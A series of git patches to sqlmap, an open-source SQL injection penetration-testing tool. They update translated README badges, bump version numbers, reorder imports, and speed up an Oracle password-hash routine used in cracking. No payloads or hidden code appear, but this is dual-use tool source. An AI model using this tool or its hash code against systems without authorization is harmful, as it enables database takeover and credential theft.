Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 2be711be33b..739a8efc779 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index 3a583316587..229c112f623 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index 4aedafc33e7..cea39991794 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. @@ -47,4 +47,4 @@ Links * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) -* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index 943fa0e3164..745af21e53d 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index e0759a3a63b..a658ee0c04e 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index 1370ac30903..6c5bb2c67f1 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RUS.md index ba2f2a55a1e..634a4488adc 100644 --- a/doc/translations/README-ru-RUS.md +++ b/doc/translations/README-ru-RUS.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 934ecaf72d4..cf60143f2e9 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index 403bdf448ff..d7fd412bc63 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index 42735833403..61fccfe4b92 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index 50267b9748f..7bff7213503 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。 diff --git a/lib/core/settings.py b/lib/core/settings.py index bed5e4e305a..5590820ab4d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.19" +VERSION = "1.6.3.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5b2c0f0d4662f82f3dd23a71dc896e4340a0249e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 5 Apr 2022 00:12:09 +0200 Subject: [PATCH 021/599] Trivial update --- lib/core/settings.py | 2 +- sqlmap.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5590820ab4d..330d22c3fde 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.3.20" +VERSION = "1.6.4.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 368a28086a6..81cedef845e 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -61,12 +61,12 @@ from lib.core.common import MKSTEMP_PREFIX from lib.core.common import setColor from lib.core.common import unhandledExceptionMessage + from lib.core.compat import LooseVersion + from lib.core.compat import xrange from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.datatype import OrderedSet - from lib.core.compat import LooseVersion - from lib.core.compat import xrange from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException @@ -161,6 +161,7 @@ def main(): # to an IPC database sys.stdout = StdDbOut(conf.taskid, messagetype="stdout") sys.stderr = StdDbOut(conf.taskid, messagetype="stderr") + setRestAPILog() conf.showTime = True @@ -579,5 +580,5 @@ def main(): else: sys.exit(getattr(os, "_exitcode", 0)) else: - # cancelling postponed imports (because of Travis CI checks) + # cancelling postponed imports (because of CI/CD checks) __import__("lib.controller.controller") From cd76f8863b4b730e9ba1886acd04bf93840042f5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 5 Apr 2022 01:00:02 +0200 Subject: [PATCH 022/599] Speeding up oracle_old_passwd if PyCrypto available --- lib/core/settings.py | 2 +- lib/utils/hash.py | 26 +++++++++++++++++++------- 2 files changed, 20 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 330d22c3fde..c1a9c37c04e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.4.0" +VERSION = "1.6.4.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 36429802f46..c1df2d22c3e 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -12,6 +12,13 @@ except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171 from thirdparty.fcrypt.fcrypt import crypt +try: + from Crypto.Cipher.DES import MODE_CBC as CBC + from Crypto.Cipher.DES import new as des +except: + from thirdparty.pydes.pyDes import CBC + from thirdparty.pydes.pyDes import des + _multiprocessing = None import base64 @@ -80,8 +87,6 @@ from lib.core.wordlist import Wordlist from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit -from thirdparty.pydes.pyDes import CBC -from thirdparty.pydes.pyDes import des from thirdparty.six.moves import queue as _queue def mysql_passwd(password, uppercase=True): @@ -219,14 +224,21 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' 'F894844C34402B67' """ - IV, pad = "\0" * 8, "\0" + IV, pad = b"\0" * 8, b"\0" unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) - cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad) - encrypted = cipher.encrypt(unistr) - cipher = des(encrypted[-8:], CBC, IV, pad) - encrypted = cipher.encrypt(unistr) + if des.__module__ == "Crypto.Cipher.DES": + unistr += b"\0" * ((8 - len(unistr) % 8) & 7) + cipher = des(decodeHex("0123456789ABCDEF"), CBC, iv=IV) + encrypted = cipher.encrypt(unistr) + cipher = des(encrypted[-8:], CBC, iv=IV) + encrypted = cipher.encrypt(unistr) + else: + cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad) + encrypted = cipher.encrypt(unistr) + cipher = des(encrypted[-8:], CBC, IV, pad) + encrypted = cipher.encrypt(unistr) retVal = encodeHex(encrypted[-8:], binary=False) From d5fb92ee4215cfad83aeecb270a1c13c03c0f727 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar 